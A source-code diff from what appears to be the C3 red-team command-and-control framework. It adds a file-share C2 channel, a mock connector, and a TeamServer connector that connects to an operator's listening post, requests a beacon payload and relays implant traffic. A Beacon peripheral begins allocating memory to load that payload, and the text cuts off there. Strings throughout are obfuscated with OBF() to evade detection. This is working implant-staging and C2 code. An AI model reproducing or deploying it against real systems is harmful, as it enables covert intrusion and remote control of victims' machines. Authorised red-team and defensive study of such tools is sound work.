"description": "Clearing old files before starting communication may increase bandwidth"
|
||||||
|
}
|
||||||
|
]
|
||||||
|
},
|
||||||
|
"commands":
|
||||||
|
[
|
||||||
|
{
|
||||||
|
"name": "Remove all message files",
|
||||||
|
"id": 0,
|
||||||
|
"description": "Clearing old files from directory may increase bandwidth",
|
||||||
|
"arguments": []
|
||||||
|
}
|
||||||
|
]
|
||||||
|
}
|
||||||
|
)";
|
||||||
|
}
|
|
@ -0,0 +1,50 @@
|
||||||
|
#pragma once
|
||||||
|
|
||||||
|
namespace MWR::C3::Interfaces::Channels
|
||||||
|
{
|
||||||
|
/// Implementation of the FileSharing via UNC paths Channel.
|
||||||
|
class UncShareFile : public Channel<UncShareFile>
|
||||||
|
{
|
||||||
|
public:
|
||||||
|
/// Public constructor.
|
||||||
|
/// @param arguments factory arguments.
|
||||||
|
UncShareFile(ByteView arguments);
|
||||||
|
|
||||||
|
/// OnSend callback implementation.
|
||||||
|
/// @param blob data to send to Channel.
|
||||||
|
/// @returns size_t number of bytes successfully written.
|
||||||
|
size_t OnSendToChannel(ByteView blob) override;
|
||||||
|
|
||||||
|
/// Reads a single C3 packet from Channel.
|
||||||
|
/// @return packet retrieved from Channel.
|
||||||
|
ByteVector OnReceiveFromChannel() override;
|
||||||
|
|
||||||
|
/// Get channel capability.
|
||||||
|
/// @returns ByteView view of channel capability.
|
||||||
|
static ByteView GetCapability();
|
||||||
|
|
||||||
|
/// Processes internal (C3 API) Command.
|
||||||
|
/// @param command a buffer containing whole command and it's parameters.
|
||||||
|
/// @return command result.
|
||||||
|
ByteVector OnRunCommand(ByteView command) override;
|
||||||
|
|
||||||
|
protected:
|
||||||
|
/// Removes all tasks from server.
|
||||||
|
void RemoveAllPackets();
|
||||||
|
|
||||||
|
/// Check if file should processed.
|
||||||
|
/// @param path to file to be checked.
|
||||||
|
/// @returns true if channel instance should handle file, false otherwise.
|
||||||
|
bool BelongToChannel(std::filesystem::path const& path) const;
|
||||||
|
|
||||||
|
/// Removes file.
|
||||||
|
/// @param path to file to be removed.
|
||||||
|
void RemoveFile(std::filesystem::path const& path);
|
||||||
|
|
||||||
|
/// Flow direction names.
|
||||||
|
std::string m_InboundDirectionName, m_OutboundDirectionName;
|
||||||
|
|
||||||
|
/// Path of the directory to store the C2 messages.
|
||||||
|
std::filesystem::path m_FilesystemPath;
|
||||||
|
};
|
||||||
|
}
|
|
@ -0,0 +1,176 @@
|
||||||
|
#include "StdAfx.h"
|
||||||
|
|
||||||
|
#ifdef _DEBUG
|
||||||
|
|
||||||
|
namespace MWR::C3::Interfaces::Connectors
|
||||||
|
{
|
||||||
|
/// Class that mocks a Connector.
|
||||||
|
class MockServer : public Connector<MockServer>
|
||||||
|
{
|
||||||
|
public:
|
||||||
|
/// Constructor.
|
||||||
|
/// @param arguments factory arguments.
|
||||||
|
MockServer(ByteView);
|
||||||
|
|
||||||
|
/// OnCommandFromBinder callback implementation.
|
||||||
|
/// @param binderId Identifier of Peripheral who sends the Command.
|
||||||
|
/// @param command full Command with arguments.
|
||||||
|
void OnCommandFromBinder(ByteView binderId, ByteView command) override;
|
||||||
|
|
||||||
|
/// Returns json with Commands.
|
||||||
|
/// @return Commands description in JSON format.
|
||||||
|
static ByteView GetCapability();
|
||||||
|
|
||||||
|
/// Processes internal (C3 API) Command.
|
||||||
|
/// @param command a buffer containing whole command and it's parameters.
|
||||||
|
/// @return command result.
|
||||||
|
ByteVector OnRunCommand(ByteView command) override;
|
||||||
|
|
||||||
|
/// Called every time new implant is being created.
|
||||||
|
/// @param connectionId unused.
|
||||||
|
/// @param data unused. Prints debug information if not empty.
|
||||||
|
/// @para isX64 unused.
|
||||||
|
/// @returns ByteVector copy of data.
|
||||||
|
ByteVector PeripheralCreationCommand(ByteView connectionId, ByteView data, bool isX64) override;
|
||||||
|
|
||||||
|
private:
|
||||||
|
/// Example of internal command of Connector. Must be described in GetCapability, and handled in OnRunCommand
|
||||||
|
/// @param arg all arguments send to method.
|
||||||
|
/// @returns ByteVector response for command.
|
||||||
|
ByteVector TestErrorCommand(ByteView arg);
|
||||||
|
|
||||||
|
/// Represents a single connection with implant.
|
||||||
|
struct Connection
|
||||||
|
{
|
||||||
|
/// Constructor.
|
||||||
|
/// @param owner weak pointer to connector object.
|
||||||
|
/// @param id of connection.
|
||||||
|
Connection(std::weak_ptr<MockServer> owner, std::string_view id = ""sv);
|
||||||
|
|
||||||
|
/// Creates the receiving thread.
|
||||||
|
/// Thread will send packet every 3 seconds.
|
||||||
|
void StartUpdatingInSeparateThread();
|
||||||
|
|
||||||
|
private:
|
||||||
|
/// Pointer to MockServer.
|
||||||
|
std::weak_ptr<MockServer> m_Owner;
|
||||||
|
|
||||||
|
/// RouteID in binary form.
|
||||||
|
ByteVector m_Id;
|
||||||
|
};
|
||||||
|
|
||||||
|
/// Access blocker for m_ConnectionMap.
|
||||||
|
std::mutex m_ConnectionMapAccess;
|
||||||
|
|
||||||
|
/// Map of all connections.
|
||||||
|
std::unordered_map<std::string, std::unique_ptr<Connection>> m_ConnectionMap;
|
||||||
|
};
|
||||||
|
}
|
||||||
|
|
||||||
|
//////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
|
||||||
|
MWR::C3::Interfaces::Connectors::MockServer::MockServer(ByteView)
|
||||||
|
{
|
||||||
|
}
|
||||||
|
|
||||||
|
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
|
||||||
|
void MWR::C3::Interfaces::Connectors::MockServer::OnCommandFromBinder(ByteView binderId, ByteView command)
|
||||||
|
{
|
||||||
|
std::scoped_lock<std::mutex> lock(m_ConnectionMapAccess);
|
||||||
|
|
||||||
|
auto it = m_ConnectionMap.find(binderId);
|
||||||
|
if (it == m_ConnectionMap.end())
|
||||||
|
{
|
||||||
|
it = m_ConnectionMap.emplace(binderId, std::make_unique<Connection>(std::static_pointer_cast<MockServer>(shared_from_this()), binderId)).first;
|
||||||
|
it->second->StartUpdatingInSeparateThread();
|
||||||
|
}
|
||||||
|
|
||||||
|
Log({ OBF("MockServer received: ") + std::string{ command.begin(), command.size() < 10 ? command.end() : command.begin() + 10 } + OBF("..."), LogMessage::Severity::DebugInformation });
|
||||||
|
}
|
||||||
|
|
||||||
|
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
|
||||||
|
MWR::C3::Interfaces::Connectors::MockServer::Connection::Connection(std::weak_ptr<MockServer> owner, std::string_view id)
|
||||||
|
: m_Owner(owner)
|
||||||
|
, m_Id(ByteView{ id })
|
||||||
|
{
|
||||||
|
}
|
||||||
|
|
||||||
|
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
|
||||||
|
void MWR::C3::Interfaces::Connectors::MockServer::Connection::StartUpdatingInSeparateThread()
|
||||||
|
{
|
||||||
|
std::thread([&]()
|
||||||
|
{
|
||||||
|
// Lock pointers.
|
||||||
|
auto owner = m_Owner.lock();
|
||||||
|
auto bridge = owner->GetBridge();
|
||||||
|
while (bridge->IsAlive())
|
||||||
|
{
|
||||||
|
// Post something to Binder and wait a little.
|
||||||
|
try
|
||||||
|
{
|
||||||
|
bridge->PostCommandToBinder(m_Id, ByteView(OBF("Beep")));
|
||||||
|
}
|
||||||
|
catch (...)
|
||||||
|
{
|
||||||
|
}
|
||||||
|
std::this_thread::sleep_for(3s);
|
||||||
|
}
|
||||||
|
}).detach();
|
||||||
|
}
|
||||||
|
|
||||||
|
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
|
||||||
|
MWR::ByteVector MWR::C3::Interfaces::Connectors::MockServer::OnRunCommand(ByteView command)
|
||||||
|
{
|
||||||
|
auto commandCopy = command;
|
||||||
|
switch (command.Read<uint16_t>())
|
||||||
|
{
|
||||||
|
case 0:
|
||||||
|
return TestErrorCommand(command);
|
||||||
|
default:
|
||||||
|
return AbstractConnector::OnRunCommand(commandCopy);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
|
||||||
|
MWR::ByteVector MWR::C3::Interfaces::Connectors::MockServer::TestErrorCommand(ByteView arg)
|
||||||
|
{
|
||||||
|
GetBridge()->SetErrorStatus(arg.Read<std::string>());
|
||||||
|
return {};
|
||||||
|
}
|
||||||
|
|
||||||
|
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
|
||||||
|
MWR::ByteVector MWR::C3::Interfaces::Connectors::MockServer::PeripheralCreationCommand(ByteView connectionId, ByteView data, bool isX64)
|
||||||
|
{
|
||||||
|
if (!data.empty())
|
||||||
|
Log({ OBF("Non empty command for mock peripheral indicating parsing during command creation."), LogMessage::Severity::DebugInformation });
|
||||||
|
|
||||||
|
return data;
|
||||||
|
}
|
||||||
|
|
||||||
|
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
|
||||||
|
MWR::ByteView MWR::C3::Interfaces::Connectors::MockServer::GetCapability()
|
||||||
|
{
|
||||||
|
return R"(
|
||||||
|
{
|
||||||
|
"create":
|
||||||
|
{
|
||||||
|
"arguments":[]
|
||||||
|
},
|
||||||
|
"commands":
|
||||||
|
[
|
||||||
|
{
|
||||||
|
"name": "Test command",
|
||||||
|
"description": "Set error on connector.",
|
||||||
|
"id": 0,
|
||||||
|
"arguments":
|
||||||
|
[
|
||||||
|
{
|
||||||
|
"name": "Error message",
|
||||||
|
"description": "Error set on connector. Send empty to clean up error"
|
||||||
|
}
|
||||||
|
]
|
||||||
|
}
|
||||||
|
]
|
||||||
|
}
|
||||||
|
)";
|
||||||
|
}
|
||||||
|
#endif // _DEBUG
|
|
@ -0,0 +1,397 @@
|
||||||
|
#include "StdAfx.h"
|
||||||
|
#include "Common/MWR/Sockets/SocketsException.h"
|
||||||
|
|
||||||
|
namespace MWR::C3::Interfaces::Connectors
|
||||||
|
{
|
||||||
|
/// A class representing communication with Team Server.
|
||||||
|
struct TeamServer : Connector<TeamServer>
|
||||||
|
{
|
||||||
|
/// Public constructor.
|
||||||
|
/// @param arguments factory arguments.
|
||||||
|
TeamServer(ByteView arguments);
|
||||||
|
|
||||||
|
/// A public destructor.
|
||||||
|
~TeamServer();
|
||||||
|
|
||||||
|
/// OnCommandFromConnector callback implementation.
|
||||||
|
/// @param binderId Identifier of Peripheral who sends the Command.
|
||||||
|
/// @param command full Command with arguments.
|
||||||
|
void OnCommandFromBinder(ByteView binderId, ByteView command) override;
|
||||||
|
|
||||||
|
/// Processes internal (C3 API) Command.
|
||||||
|
/// @param command a buffer containing whole command and it's parameters.
|
||||||
|
/// @return command result.
|
||||||
|
ByteVector OnRunCommand(ByteView command) override;
|
||||||
|
|
||||||
|
/// Called every time new implant is being created.
|
||||||
|
/// @param connectionId adders of beacon in C3 network .
|
||||||
|
/// @param data parameters used to create implant. If payload is empty, new one will be generated.
|
||||||
|
/// @para isX64 indicates if relay staging beacon is x64.
|
||||||
|
/// @returns ByteVector correct command that will be used to stage beacon.
|
||||||
|
ByteVector PeripheralCreationCommand(ByteView connectionId, ByteView data, bool isX64) override;
|
||||||
|
|
||||||
|
/// Return json with commands.
|
||||||
|
/// @return ByteView Commands description in JSON format.
|
||||||
|
static ByteView GetCapability();
|
||||||
|
|
||||||
|
private:
|
||||||
|
/// Represents a single C3 <-> Team Server connection, as well as each beacon in network.
|
||||||
|
struct Connection
|
||||||
|
{
|
||||||
|
/// Constructor.
|
||||||
|
/// @param listeningPostAddress adders of TeamServer.
|
||||||
|
/// @param listeningPostPort port of TeamServer.
|
||||||
|
/// @param owner weak pointer to TeamServer class.
|
||||||
|
/// @param id id used to address beacon.
|
||||||
|
Connection(std::string_view listeningPostAddress, uint16_t listeningPostPort, std::weak_ptr<TeamServer> owner, std::string_view id = ""sv);
|
||||||
|
|
||||||
|
/// Destructor.
|
||||||
|
~Connection();
|
||||||
|
|
||||||
|
/// Sends data directly to Team Server.
|
||||||
|
/// @param data buffer containing blob to send.
|
||||||
|
/// @remarks throws MWR::WinSocketsException on WinSockets error.
|
||||||
|
void Send(ByteView data);
|
||||||
|
|
||||||
|
/// Creates the receiving thread.
|
||||||
|
/// As long as connection is alive detached thread will pull available data from TeamServer.
|
||||||
|
/// @remarks to decrease traffic in network, heartbeat will not be pushed through network.
|
||||||
|
/// This class will automatically response with no-op, when TeamServer sends no-op
|
||||||
|
/// TeamServer is using heartbeat to handle chunked data. This logic will be instead performed by class handling beacon..
|
||||||
|
void StartUpdatingInSeparateThread();
|
||||||
|
|
||||||
|
/// Reads data from Socket.
|
||||||
|
/// @return heartbeat read data.
|
||||||
|
ByteVector Receive();
|
||||||
|
|
||||||
|
/// Indicates that receiving thread was already started.
|
||||||
|
/// @returns true if receiving thread was started, false otherwise.
|
||||||
|
bool SecondThreadStarted();
|
||||||
|
|
||||||
|
private:
|
||||||
|
/// Pointer to TeamServer instance.
|
||||||
|
std::weak_ptr<TeamServer> m_Owner;
|
||||||
|
|
||||||
|
/// A socket object used in communication with the Team Server.
|
||||||
|
SOCKET m_Socket;
|
||||||
|
|
||||||
|
/// RouteID in binary form. Address of beacon in network.
|
||||||
|
ByteVector m_Id;
|
||||||
|
|
||||||
|
/// Indicates that receiving thread was already started.
|
||||||
|
bool m_SecondThreadStarted = false;
|
||||||
|
};
|
||||||
|
|
||||||
|
/// Retrieves beacon payload from Team Server.
|
||||||
|
/// @param binderId address of beacon in network.
|
||||||
|
/// @param pipename name of pipe hosted by beacon.
|
||||||
|
/// @param arch64 desired architecture of beacon.
|
||||||
|
/// @param block after block time TeamServer will send no-op packet.
|
||||||
|
/// @return generated payload.
|
||||||
|
MWR::ByteVector GeneratePayload(ByteView binderId, std::string pipename, bool arch64, uint32_t block);
|
||||||
|
|
||||||
|
/// Close desired connection
|
||||||
|
/// @arguments arguments for command. connection Id in string form.
|
||||||
|
/// @returns ByteVector empty vector.
|
||||||
|
MWR::ByteVector CloseConnection(ByteView arguments);
|
||||||
|
|
||||||
|
/// Initializes Sockets library. Can be called multiple times, but requires corresponding number of calls to DeinitializeSockets() to happen before closing the application.
|
||||||
|
/// @return value forwarded from WSAStartup call (zero if successful).
|
||||||
|
static int InitializeSockets();
|
||||||
|
|
||||||
|
/// Deinitializes Sockets library.
|
||||||
|
/// @return true if successful, otherwise WSAGetLastError might be called to retrieve specific error number.
|
||||||
|
static bool DeinitializeSockets();
|
||||||
|
|
||||||
|
/// Adders of TeamServer.
|
||||||
|
std::string m_ListeningPostAddress;
|
||||||
|
|
||||||
|
/// Port of TeamServer.
|
||||||
|
uint16_t m_ListeningPostPort;
|
||||||
|
|
||||||
|
/// Access mutex for m_ConnectionMap.
|
||||||
|
std::mutex m_ConnectionMapAccess;
|
||||||
|
|
||||||
|
/// Access mutex for sending data to TeamServer.
|
||||||
|
std::mutex m_SendMutex;
|
||||||
|
|
||||||
|
/// Map of all connections.
|
||||||
|
std::unordered_map<std::string, std::unique_ptr<Connection>> m_ConnectionMap;
|
||||||
|
};
|
||||||
|
}
|
||||||
|
|
||||||
|
//////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
|
||||||
|
MWR::C3::Interfaces::Connectors::TeamServer::TeamServer(ByteView arguments)
|
||||||
|
{
|
||||||
|
std::tie(m_ListeningPostAddress, m_ListeningPostPort) = arguments.Read<std::string, uint16_t>();
|
||||||
|
InitializeSockets();
|
||||||
|
}
|
||||||
|
|
||||||
|
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
|
||||||
|
MWR::C3::Interfaces::Connectors::TeamServer::~TeamServer()
|
||||||
|
{
|
||||||
|
DeinitializeSockets();
|
||||||
|
}
|
||||||
|
|
||||||
|
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
|
||||||
|
void MWR::C3::Interfaces::Connectors::TeamServer::OnCommandFromBinder(ByteView binderId, ByteView command)
|
||||||
|
{
|
||||||
|
std::scoped_lock<std::mutex> lock(m_ConnectionMapAccess);
|
||||||
|
|
||||||
|
auto it = m_ConnectionMap.find(binderId);
|
||||||
|
if (it == m_ConnectionMap.end())
|
||||||
|
throw std::runtime_error{OBF("Unknown connection")};
|
||||||
|
|
||||||
|
if (!(it->second->SecondThreadStarted()))
|
||||||
|
it->second->StartUpdatingInSeparateThread();
|
||||||
|
|
||||||
|
it->second->Send(command);
|
||||||
|
}
|
||||||
|
|
||||||
|
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
|
||||||
|
int MWR::C3::Interfaces::Connectors::TeamServer::InitializeSockets()
|
||||||
|
{
|
||||||
|
WSADATA wsaData;
|
||||||
|
WORD wVersionRequested;
|
||||||
|
wVersionRequested = MAKEWORD(2, 2);
|
||||||
|
return WSAStartup(wVersionRequested, &wsaData);
|
||||||
|
}
|
||||||
|
|
||||||
|
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
|
||||||
|
bool MWR::C3::Interfaces::Connectors::TeamServer::DeinitializeSockets()
|
||||||
|
{
|
||||||
|
return WSACleanup() == 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
|
||||||
|
MWR::ByteVector MWR::C3::Interfaces::Connectors::TeamServer::GeneratePayload(ByteView binderId, std::string pipename, bool arch64, uint32_t block)
|
||||||
|
{
|
||||||
|
if (binderId.empty() || pipename.empty())
|
||||||
|
throw std::runtime_error{OBF("Wrong parameters, cannot create payload")};
|
||||||
|
|
||||||
|
auto connection = std::make_unique<Connection>( m_ListeningPostAddress, m_ListeningPostPort, std::static_pointer_cast<TeamServer>(shared_from_this()), binderId);
|
||||||
|
connection->Send(ByteView{ OBF_STR("arch=") + (arch64 ? OBF("x64") : OBF("x86")) });
|
||||||
|
connection->Send(ByteView{ OBF("pipename=") + pipename });
|
||||||
|
connection->Send(ByteView{ OBF("block=") + std::to_string(block) });
|
||||||
|
connection->Send(ByteView{ OBF("go") });
|
||||||
|
auto payload = connection->Receive();
|
||||||
|
m_ConnectionMap.emplace(std::string{ binderId }, std::move(connection));
|
||||||
|
return payload;
|
||||||
|
}
|
||||||
|
|
||||||
|
//////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
|
||||||
|
//MWR::ByteVector MWR::C3::Interfaces::Connectors::TeamServer::GeneratePayload(ByteView arguments)
|
||||||
|
//{
|
||||||
|
// auto [pipename, arch64, block] = arguments.Read<std::string, bool, uint32_t>();
|
||||||
|
// return GeneratePayload(pipename, arch64, block);
|
||||||
|
//}
|
||||||
|
|
||||||
|
MWR::ByteVector MWR::C3::Interfaces::Connectors::TeamServer::CloseConnection(ByteView arguments)
|
||||||
|
{
|
||||||
|
auto id = arguments.Read<std::string>();
|
||||||
|
m_ConnectionMap.erase(id);
|
||||||
|
return {};
|
||||||
|
}
|
||||||
|
|
||||||
|
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
|
||||||
|
MWR::ByteVector MWR::C3::Interfaces::Connectors::TeamServer::OnRunCommand(ByteView command)
|
||||||
|
{
|
||||||
|
auto commandCopy = command;
|
||||||
|
switch (command.Read<uint16_t>())
|
||||||
|
{
|
||||||
|
// case 0:
|
||||||
|
// return GeneratePayload(command);
|
||||||
|
case 1:
|
||||||
|
return CloseConnection(command);
|
||||||
|
default:
|
||||||
|
return AbstractConnector::OnRunCommand(commandCopy);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
|
||||||
|
MWR::ByteView MWR::C3::Interfaces::Connectors::TeamServer::GetCapability()
|
||||||
|
{
|
||||||
|
return R"(
|
||||||
|
{
|
||||||
|
"create":
|
||||||
|
{
|
||||||
|
"arguments":
|
||||||
|
[
|
||||||
|
{
|
||||||
|
"type": "ip",
|
||||||
|
"name": "Address",
|
||||||
|
"description": "Listening post address"
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"type": "uint16",
|
||||||
|
"name": "Port",
|
||||||
|
"min": 1,
|
||||||
|
"description": "Listening post port"
|
||||||
|
}
|
||||||
|
]
|
||||||
|
},
|
||||||
|
"commands":
|
||||||
|
[
|
||||||
|
{
|
||||||
|
"name": "Close connection",
|
||||||
|
"description": "Close socket connection with TeamServer if beacon is not available",
|
||||||
|
"id": 1,
|
||||||
|
"arguments":
|
||||||
|
[
|
||||||
|
{
|
||||||
|
"name": "Route Id",
|
||||||
|
"min": 1,
|
||||||
|
"description": "Id associated to beacon"
|
||||||
|
}
|
||||||
|
]
|
||||||
|
}
|
||||||
|
]
|
||||||
|
}
|
||||||
|
)";
|
||||||
|
}
|
||||||
|
|
||||||
|
//{
|
||||||
|
// "name": "Generate payload",
|
||||||
|
// "description" : "Create new payload with custom parameters",
|
||||||
|
// "id" : 0,
|
||||||
|
// "arguments" :
|
||||||
|
// [
|
||||||
|
// {
|
||||||
|
// "name": "Pipename",
|
||||||
|
// "randomize" : true,
|
||||||
|
// "description" : "Name of pipe used by beacon on target machine. Prefix is not required"
|
||||||
|
// },
|
||||||
|
// {
|
||||||
|
// "name": "x64",
|
||||||
|
// "type" : "boolean",
|
||||||
|
// "description" : "Specifies if payload should be x64 or x86 architecture"
|
||||||
|
// },
|
||||||
|
// {
|
||||||
|
// "name": "Block time",
|
||||||
|
// "type" : "uint32",
|
||||||
|
// "description" : "A time in milliseconds that indicates how long the server should block when no new tasks are available"
|
||||||
|
// }
|
||||||
|
// ]
|
||||||
|
//},
|
||||||
|
|
||||||
|
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
|
||||||
|
MWR::C3::Interfaces::Connectors::TeamServer::Connection::Connection(std::string_view listeningPostAddress, uint16_t listeningPostPort, std::weak_ptr<TeamServer> owner, std::string_view id)
|
||||||
|
: m_Owner(owner)
|
||||||
|
, m_Id(ByteView{ id })
|
||||||
|
{
|
||||||
|
sockaddr_in client;
|
||||||
|
client.sin_family = AF_INET;
|
||||||
|
client.sin_port = htons(listeningPostPort);
|
||||||
|
switch (InetPtonA(AF_INET, &listeningPostAddress.front(), &client.sin_addr.s_addr)) //< Mod to solve deprecation issue.
|
||||||
|
{
|
||||||
|
case 0:
|
||||||
|
throw std::invalid_argument(OBF("Provided Listening Post address in not a valid IPv4 dotted - decimal string or a valid IPv6 address."));
|
||||||
|
case -1:
|
||||||
|
throw MWR::SocketsException(OBF("Couldn't convert standard text IPv4 or IPv6 address into its numeric binary form. Error code : ") + std::to_string(WSAGetLastError()) + OBF("."), WSAGetLastError());
|
||||||
|
}
|
||||||
|
|
||||||
|
// Attempt to connect.
|
||||||
|
if (INVALID_SOCKET == (m_Socket = socket(AF_INET, SOCK_STREAM, 0)))
|
||||||
|
throw MWR::SocketsException(OBF("Couldn't create socket."), WSAGetLastError());
|
||||||
|
|
||||||
|
if (SOCKET_ERROR == connect(m_Socket, (struct sockaddr*) & client, sizeof(client)))
|
||||||
|
throw MWR::SocketsException(OBF("Could not connect to ") + std::string{ listeningPostAddress } + OBF(":") + std::to_string(listeningPostPort) + OBF("."), WSAGetLastError());
|
||||||
|
}
|
||||||
|
|
||||||
|
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
|
||||||
|
MWR::C3::Interfaces::Connectors::TeamServer::Connection::~Connection()
|
||||||
|
{
|
||||||
|
closesocket(m_Socket);
|
||||||
|
}
|
||||||
|
|
||||||
|
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
|
||||||
|
void MWR::C3::Interfaces::Connectors::TeamServer::Connection::Send(ByteView data)
|
||||||
|
{
|
||||||
|
auto owner = m_Owner.lock();
|
||||||
|
if (!owner)
|
||||||
|
throw std::runtime_error(OBF("Could not lock pointer to owner "));
|
||||||
|
|
||||||
|
std::unique_lock<std::mutex> lock{ owner->m_SendMutex };
|
||||||
|
// Write four bytes indicating the length of the next chunk of data.
|
||||||
|
DWORD chunkLength = static_cast<DWORD>(data.size()), bytesWritten = 0;
|
||||||
|
if (SOCKET_ERROR == send(m_Socket, reinterpret_cast<char*>(&chunkLength), 4, 0))
|
||||||
|
throw MWR::SocketsException(OBF("Error sending to Socket : ") + std::to_string(WSAGetLastError()) + OBF("."), WSAGetLastError());
|
||||||
|
|
||||||
|
// Write the chunk to socket.
|
||||||
|
if (SOCKET_ERROR == send(m_Socket, reinterpret_cast<const char*>(&data.front()), static_cast<int>(chunkLength), 0))
|
||||||
|
throw MWR::SocketsException(OBF("Error sending to Socket : ") + std::to_string(WSAGetLastError()) + OBF("."), WSAGetLastError());
|
||||||
|
}
|
||||||
|
|
||||||
|
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
|
||||||
|
MWR::ByteVector MWR::C3::Interfaces::Connectors::TeamServer::Connection::Receive()
|
||||||
|
{
|
||||||
|
DWORD chunkLength = 0, bytesRead;
|
||||||
|
if (SOCKET_ERROR == (bytesRead = recv(m_Socket, reinterpret_cast<char*>(&chunkLength), 4, 0)))
|
||||||
|
throw MWR::SocketsException(OBF("Error receiving from Socket : ") + std::to_string(WSAGetLastError()) + ("."), WSAGetLastError());
|
||||||
|
|
||||||
|
if (!bytesRead || !chunkLength)
|
||||||
|
return {}; //< The connection has been gracefully closed.
|
||||||
|
|
||||||
|
// Read in the result.
|
||||||
|
ByteVector buffer;
|
||||||
|
buffer.resize(chunkLength);
|
||||||
|
for (DWORD bytesReadTotal = 0; bytesReadTotal < chunkLength; bytesReadTotal += bytesRead)
|
||||||
|
switch (bytesRead = recv(m_Socket, reinterpret_cast<char*>(&buffer[bytesReadTotal]), chunkLength - bytesReadTotal, 0))
|
||||||
|
{
|
||||||
|
case 0:
|
||||||
|
return {}; //< The connection has been gracefully closed.
|
||||||
|
|
||||||
|
case SOCKET_ERROR:
|
||||||
|
throw MWR::SocketsException(OBF("Error receiving from Socket : ") + std::to_string(WSAGetLastError()) + OBF("."), WSAGetLastError());
|
||||||
|
}
|
||||||
|
|
||||||
|
return buffer;
|
||||||
|
}
|
||||||
|
|
||||||
|
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
|
||||||
|
void MWR::C3::Interfaces::Connectors::TeamServer::Connection::StartUpdatingInSeparateThread()
|
||||||
|
{
|
||||||
|
m_SecondThreadStarted = true;
|
||||||
|
std::thread([&]()
|
||||||
|
{
|
||||||
|
// Lock pointers.
|
||||||
|
auto owner = m_Owner.lock();
|
||||||
|
auto bridge = owner->GetBridge();
|
||||||
|
while (bridge->IsAlive())
|
||||||
|
{
|
||||||
|
try
|
||||||
|
{
|
||||||
|
// Read packet and post it to Binder.
|
||||||
|
if (auto packet = Receive(); !packet.empty())
|
||||||
|
{
|
||||||
|
if (packet.size() == 1u && packet[0] == 0u)
|
||||||
|
Send(packet);
|
||||||
|
else
|
||||||
|
bridge->PostCommandToBinder(ByteView{ m_Id }, packet);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
catch (std::exception& e)
|
||||||
|
{
|
||||||
|
bridge->Log({ e.what(), LogMessage::Severity::Error});
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}).detach();
|
||||||
|
}
|
||||||
|
|
||||||
|
bool MWR::C3::Interfaces::Connectors::TeamServer::Connection::SecondThreadStarted()
|
||||||
|
{
|
||||||
|
return m_SecondThreadStarted;
|
||||||
|
}
|
||||||
|
|
||||||
|
MWR::ByteVector MWR::C3::Interfaces::Connectors::TeamServer::PeripheralCreationCommand(ByteView connectionId, ByteView data, bool isX64)
|
||||||
|
{
|
||||||
|
auto [pipeName, maxConnectionTrials, delayBetweenConnectionTrials/*, payload*/] = data.Read<std::string, uint16_t, uint16_t/*, ByteVector*/>();
|
||||||
|
|
||||||
|
// custom payload is removed from release.
|
||||||
|
//if (!payload.empty())
|
||||||
|
//{
|
||||||
|
// return data;
|
||||||
|
//}
|
||||||
|
|
||||||
|
return ByteVector{}.Write(pipeName,maxConnectionTrials, delayBetweenConnectionTrials, GeneratePayload(connectionId, pipeName, isX64, 100u));
|
||||||
|
}
|
|
@ -0,0 +1,146 @@
|
||||||
|
#include "StdAfx.h"
|
||||||
|
#include "Beacon.h"
|
||||||
|
|
||||||
|
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
|
||||||
|
MWR::C3::Interfaces::Peripherals::Beacon::Beacon(ByteView arguments)
|
||||||
|
{
|
||||||
|
auto [pipeName, maxConnectionTrials, delayBetweenConnectionTrials, payload] = arguments.Read<std::string, uint16_t, uint16_t, ByteVector>();
|
||||||
|
|
||||||
|
// Arguments validation.
|
||||||
|
if (payload.empty())
|
||||||
|
throw std::invalid_argument(OBF("There was no payload provided."));
|
||||||
|
|
||||||
|
if (pipeName.empty() || !maxConnectionTrials)
|
||||||
|
throw std::invalid_argument(OBF("Cannot establish connection with payload with provided parameters"));
|
||||||
|
|
||||||
|
// Create an R/W region of pages in the virtual address space of current process.
|
||||||
|
auto codePointer = static_cast<std::uint8_t*>(VirtualAlloc(0, payload.size(), MEM_COMMIT, PAGE_READWRITE));
|
||||||
|
if (!codePointer)
|
||||||
|
